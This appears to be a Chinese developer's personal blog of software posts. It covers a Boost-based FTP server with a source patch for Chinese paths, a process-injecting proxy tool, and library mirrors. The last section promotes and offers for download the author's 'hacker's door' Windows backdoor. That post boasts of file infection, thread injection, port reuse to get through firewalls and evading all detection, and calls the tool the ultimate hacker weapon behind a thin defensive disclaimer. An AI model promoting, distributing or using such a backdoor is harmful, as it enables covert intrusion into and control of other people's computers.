yyt_hac's web

软件开发,编程,计算机技术,工具软件

YFtpServer--------一个用boost实现的ftp服务器

      最近尝试用boost库进行跨平台编程,写了一个ftp服务器,基本可以做到一份核心代码,各个平台通用(主要包括安卓,IOS,windows,linux等),界面部分各个平台需要分别实现。

       主要使用了std::wstring和boost::filesystem::path来处理字符串和文件路径,在发给ftp客户端时统一转化成UTF8编码,在使用

boost::filesystem::path处理中文文件名和路径的过程中,发现在安卓上出现乱码,比如path(L"c:\\测试").generic_wstring()返回的就是乱码,最后修改了boost库的path.hpp文件,修改内容如下:

template <class U> inline

void my_dispatch(const std::string& c, U& to)

{

if (c.size())

{

std::wstring_convert<std::codecvt_utf8<wchar_t>, wchar_t> conv;

# ifdef BOOST_WINDOWS_API

to = conv.from_bytes(c);

#else

to = c;

#endif

}

}


template <class U> inline

void my_dispatch(const std::wstring& c, U& to)

{

if (c.size())

{

std::wstring_convert<std::codecvt_utf8<wchar_t>, wchar_t> conv;

# ifdef BOOST_WINDOWS_API

to = c;

#else

to = conv.to_bytes(c);

#endif

}

}


    template <class Source>

    path(Source const& source,

      typename boost::enable_if<path_traits::is_pathable<

        typename boost::decay<Source>::type> >::type* =0)

    {

      //path_traits::dispatch(source, m_pathname);

    my_dispatch(source, m_pathname);

    }

增加了2个my_dispatch模板函数,把path_traits::dispatch(source, m_pathname)改成my_dispatch(source, m_pathname);

这样修改之后,boost::filesystem::path处理中文就正常了。


编译了windows版、linux版、安卓版:

windows版下载地址:

yftpserver.exe (841KB)

centos 7 64位版下载地址:

yftpserver.ZIP (4.7MB)

安卓版下载地址:

yftpserver.apk (519.2KB)

安卓版截图:





新开发的应用程序外壳代理软件

      本软件通过把tcp网络通信截获模块注入到普通应用程序中,从而截获普通应用程序的tcp通信,然后把tcp通信通过管道技术转发给代理客户端模块,代理客户端模块根据代理客户端配置文件选择相应的通信方式把tcp通信发给真正的应用服务器,由于代理客户端模块通常会注入到可联网的进程中,并且可以设置代理服务器,从而使不具备使用代理服务器功能的普通应用程序具有使用代理服务器的能力,而且具有一定的穿透防火墙的能力。

下载地址:

release.rar (259.5KB)

使用说明:

readme.txt 

LZMA SDK----------------一个压缩算法开发包

   LZMA SDK是一个多语言,跨平台,开源的压缩算法开发包,2001年被首次应用于7-Zip压缩工具中,是 2001年以来得到发展的一个数据压缩算法。它使用类似于 LZ77 的字典编码机制,在一般的情况下压缩率比 bzip2 为高,用于压缩的可变字典最大可达4GB。

站下载地址(15.05 beta版):

lzma1505.7z (943.2KB)

官网:
http://www.7-zip.org/

CURL------------------一个非常强大的工具和开发包

       CURL是一个开源的命令行工具和开发包,它支持多平台,使用URL语法进行数据传输,支持的协议有 DICT, FILE, FTP, FTPS, Gopher, HTTP, HTTPS, IMAP, IMAPS, LDAP, LDAPS, POP3, POP3S, RTMP, RTSP, SCP, SFTP, SMB, SMTP, SMTPS, Telnet 和TFTP。CURL支持SSL证书,HTTP,FTP上传,HTTP,HTTP基于表单的上传,代理,HTTP / 2,cookies,用户名+密码认证(Basic, Plain, Digest, CRAM-MD5, NTLM, Negotiate and Kerberos),文件续传,隧道代理等等。

本站下载地址:

curl-7.42.1.tar.gz (4.1MB)

官网:

http://curl.haxx.se/

Boost C++库

Boost库是一个可移植、提供源代码的C++库,作为标准库的后备,是C++标准化进程的开发引擎之一。 Boost库由C++标准委员会库工作组成员发起,其中有些内容有望成为下一代C++标准库内容。在C++社区中影响甚大,是不折不扣的“准”标准库。Boost由于其对跨平台的强调,对标准C++的强调,与编写平台无关。大部分boost库功能的使用只需包括相应头文件即可,少数(如正则表达式库,文件系统库等)需要链接库。但Boost中也有很多是实验性质的东西,在实际的开发中实用需要谨慎。
Boost库是为C++语言标准库提供扩展的一些C++程序库的总称。
boost库1.58版 本站下载地址:

黑客之门(hacker's door)

       黑客之门是windows平台下的一个比较先进的后门,从2004年9月开始发布1.0版,其中经历了1.1版,到2005.3完成的1.2版,也是最终版,之后由于工作调动以及国家法律对公开发布黑客类软件惩罚力度的加强,这是本人最后一个公开发布的黑客类软件,也不再提供为个人定制黑客软件的服务。

                                    黑客之门(hacker's door) 1.2 版简介	

免责申明:本人发布这个工具是为了向大家展示最新的后门技术,使大家能够更好的防范它,请不要用于非法用途,对于使用本工具造成的后果,本人概不负责。
					
  黑客之门采用的目前一些先进的后门技术,它只有一个dll文件,通过感染系统文件启动自身,被感染的系统文件大小和日期都不会改变;同时采用线程插入技术,本身没有进程;它本身不开端口,而是重用系统进程开的任意一个端口,如80,135,139,445等,这使得它很容易穿透防火墙,目前还没有工具能发现它。
  黑客之门独特的文件感染启动方式和端口重用技术使得它的隐蔽性是同类软件中最好的,随着稳定性、易用性、功能的加强,我相信它必将成为黑客的终极利器。

1.2版的改变: 
1、由于反向连接还不成熟,而且会影响隐蔽性,暂时去掉。
2、增加一种使用命令行客户端的连接方式,在这种方式中可以传输文件,在这种方式的命令行窗口
中可以使用一些不即时退出的程序,如ftp,也可以登录到其它的命令行式的后门中,如黑客之门。
3、增加了一些有用的命令。
4、增加了隐蔽性和稳定性,改了一些bug。
5、更多的改进等待你们发现。

【使用环境】

服务器端:Windows 2000,Windows XP SP2以下,Windows 2003,服务器端默认文件名为hkdoordll.dll
客户端:Windows 2000及以上操作系统,命令行客户端默认文件名为hdclient.exe
配置程序:Windows 2000及以上操作系统,命令行客户端默认文件名为HDConfig.exe

下载地址:

hkdoor12public.rar (187.2KB)

使用说明:

readme.txt (27.8KB)

浙公网安备 33010802005082号

浙ICP备15018881号